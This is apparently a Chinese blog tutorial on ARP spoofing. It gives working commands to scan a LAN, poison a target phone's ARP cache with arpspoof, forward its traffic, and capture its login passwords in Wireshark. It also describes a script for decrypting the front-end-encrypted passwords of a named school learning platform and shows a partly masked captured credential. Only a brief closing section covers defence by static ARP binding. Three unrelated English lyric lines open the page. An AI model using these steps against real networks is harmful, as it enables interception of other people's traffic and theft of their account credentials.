People tell the world you’re crazy.
And all your protests to the contrary.
Just confirm what they’re saying.
原理
ARP协议又称地址解析协议,是网络层协议,负责将某个IP地址解析成对应的MAC地址。
一台主机和另一台主机通信,要知道目标的IP地址,但是在局域网中传输数据的网卡却不能直接识别IP地址,所以用ARP解析协议将IP地址解析成MAC地址。ARP协议的基本功能就是通过目标设备的IP地址,来查询目标设备的mac地址。
在局域网的任意一台主机中,都有一个ARP缓存表,里面保存本机已知的此局域网中各主机和路由器的IP地址和MAC地址的对照关系。
准备工作
安装 arpspoof
https://github.com/SuperMarcus/macos-arpspoof
查看局域网内主机
1 | ➜ ~ sudo nmap -sS 192.168.50.0/24 |
arp 欺骗
选定 ip 为166的 iphone 开始攻击
sudo arpspoof -i en0 -t 192.168.50.166 192.168.50.1
这个命令是告诉192.168.50.166这个机器,我是192.168.50.1,也就是你的网关,你的包就发给我吧,这样我就能在我的en0上监听到来自192.168.50.166的发包了
但是这样一来,192.168.1.111就断网了,因为它的包发给了我,而没能转发出去。这个时候手机上会出现一个比较奇怪的现象,就是微信能收到小伙伴的消息,但是却发不出去。实测有极少量的消息还是发送出去了,可能是由于我们的arp欺骗是持续反复进行的,中间的间隙导致了包还是发给了网管。但是无论如何,这个时候目标机器的网络连接是不正常的
ip 转发
打开ip转发功能后,就能把192.168.50.166的包转发给路由器了
1 | ➜ ~ sudo sysctl -w net.inet.ip.forwarding=1 |
wireshark 抓包
监听 en0 网卡,设置筛选条件 ip.src == 192.168.50.166
演示1
被攻击机提交密码
攻击机抓取密码成功
演示2
抓取某学校某学习通用户密码(前端加密🔐)
逆向解密脚本
1 | var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", |
同样的流程抓取流量,然后解密password
1 | fid=2**4&uname=189****6699&password=********* |
防御
启用双向绑定:本机上绑定网关 mac 地址;网关上绑定本机 mac 地址。
1 | sudo arp -s 192.168.3.1 00:11:11:11:11:11 |
其中 192.168.3.1
填你所在网络环境的网关 IP,后面的 12 个数字是网关的 MAC 地址,这样普通的伪装网关攻击就没什么用了。这条命令是永久性的,你可以输入 arp -d 192.168.3.1
来删除前面绑定的网关 MAC 地址。
Link
https://www.jianshu.com/p/359ceeaf1395
https://www.52pojie.cn/forum.php?mod=viewthread&tid=1266540
https://blog.csdn.net/jiandongway009/article/details/84011974